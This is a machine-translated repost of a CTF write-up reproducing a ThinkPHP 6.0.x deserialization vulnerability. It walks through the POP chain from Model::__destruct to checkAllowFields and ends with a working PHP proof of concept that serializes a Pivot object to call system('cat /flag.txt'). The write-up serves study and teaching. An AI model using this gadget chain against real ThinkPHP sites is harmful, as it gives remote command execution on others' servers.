当前位置:网站首页>ThinkPHP v6.0. X deserialization vulnerability recurrence

ThinkPHP v6.0. X deserialization vulnerability recurrence

2022-06-10 21:50:00 1ZAYAK1

ThinkPHP v6.0.x Deserialization vulnerability recurrence

This time, ciscnweb So I came up with a problem, wuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwu

The only one is carefully reproduced and analyzed here

Post a picture of the time
 Insert picture description here

One 、 Environment building

Then used dirsearch Here we go www.zip,down Come down and drag directly to wamp in
 Insert picture description here
Build successfully
 Insert picture description here

Two 、 Entry function

The entry function in the title is \app\controller\Index.php in

<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    
    public function index()
    {
    
        return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V' . \think\facade\App::version() . '<br/><span style="font-size:30px;">14 Never change your mind  -  You are trustworthy PHP frame </span></p><span style="font-size:25px;">[ V6.0  Version by  <a href="https://www.yisu.com/" target="yisu"> Billion speed cloud </a>  Exclusively sponsored release  ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ee9b1aa918103c4fc"></think>';
    }

    public function hello($name = 'ThinkPHP6')
    {
    
        return 'hello,' . $name;
    }
    public function test()
    {
    
   	unserialize($_POST['a']);
    }
    
}

stay ThinkPHP6.0 Full development manual You can see the access to the route in url
 Insert picture description here
Access test
 Insert picture description here

3、 ... and 、pop chain

The vulnerability starts from /vendor/topthink/think-orm/src/Model.php Medium **__destruct()** function

Magic methods __destruct() // Triggered when an object is destroyed
 Insert picture description here
Called save Method , To follow up save()
 Insert picture description here
among updateData() Can trigger __toString, So we have to let 532 In line || Before and after the judgment conditions are not true, And 536 That's ok $this->exists by true

To follow up isEmpty()

 Insert picture description here
as long as data Not empty , This is controllable

Follow up trigger() Of definition, stay /vendor/topthink/think-orm/src/model/concern/ModelEvent.php in
 Insert picture description here
Here let's $this→withEvent by false Just fine , It will return true,save() The judgment in the will not hold , You won't jump out of

/** Here are the parameters that need to be controlled so far **/
$data[]=// Not empty 
protected $withEvent = false;

To follow up updateData()

    protected function updateData(): bool
    {
    
        //  Event callback 
        if (false === $this->trigger('BeforeUpdate')) {
    
            return false;
        }

        $this->checkData();

        //  Get updated data 
        $data = $this->getChangedData();

        if (empty($data)) {
    
            //  Association update 
            if (!empty($this->relationWrite)) {
    
                $this->autoRelationUpdate();
            }

            return true;
        }

        if ($this->autoWriteTimestamp && $this->updateTime) {
    
            //  Automatic write update time 
            $data[$this->updateTime]       = $this->autoWriteTimestamp();
            $this->data[$this->updateTime] = $data[$this->updateTime];
        }

        //  Check the allowed fields 
        $allowFields = $this->checkAllowFields();

        foreach ($this->relationWrite as $name => $val) {
    
            if (!is_array($val)) {
    
                continue;
            }

            foreach ($val as $key) {
    
                if (isset($data[$key])) {
    
                    unset($data[$key]);
                }
            }
        }

        //  Model update 
        $db = $this->db();

        $db->transaction(function () use ($data, $allowFields, $db) {
    
            $this->key = null;
            $where     = $this->getWhere();

            $result = $db->where($where)
                ->strict(false)
                ->cache(true)
                ->setOption('key', $this->key)
                ->field($allowFields)
                ->update($data);

            $this->checkResult($result);

            //  Association update 
            if (!empty($this->relationWrite)) {
    
                $this->autoRelationUpdate();
            }
        });

        //  Update callback 
        $this->trigger('AfterUpdate');

        return true;
    }

The vulnerability method is checkAllowFields() String concatenation exists , Follow up
 Insert picture description here
field and schema You need to be empty to enter the first else To enter db() Method

 Insert picture description here
here table and suffix There is string splicing , The chain behind is just like tp5 It's the same , No more details here

POC:

<?php
namespace think{
    
    abstract class Model{
    
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        //protected $withEvent = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        function __construct($obj = ''){
    
            $this->lazySave = True;
            $this->data = ['whoami' => ['cat /flag.txt']];
            $this->exists = True;
            $this->table = $obj;
            $this->withAttr = ['whoami' => ['system']];
            $this->json = ['whoami',['whoami']];
            $this->jsonAssoc = True;
        }
    }
}
namespace think\model{
    
    use think\Model;
    class Pivot extends Model{
    
    }
}

namespace{
    
    echo(urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}
原网站

版权声明
本文为[1ZAYAK1]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/161/202206102032551127.html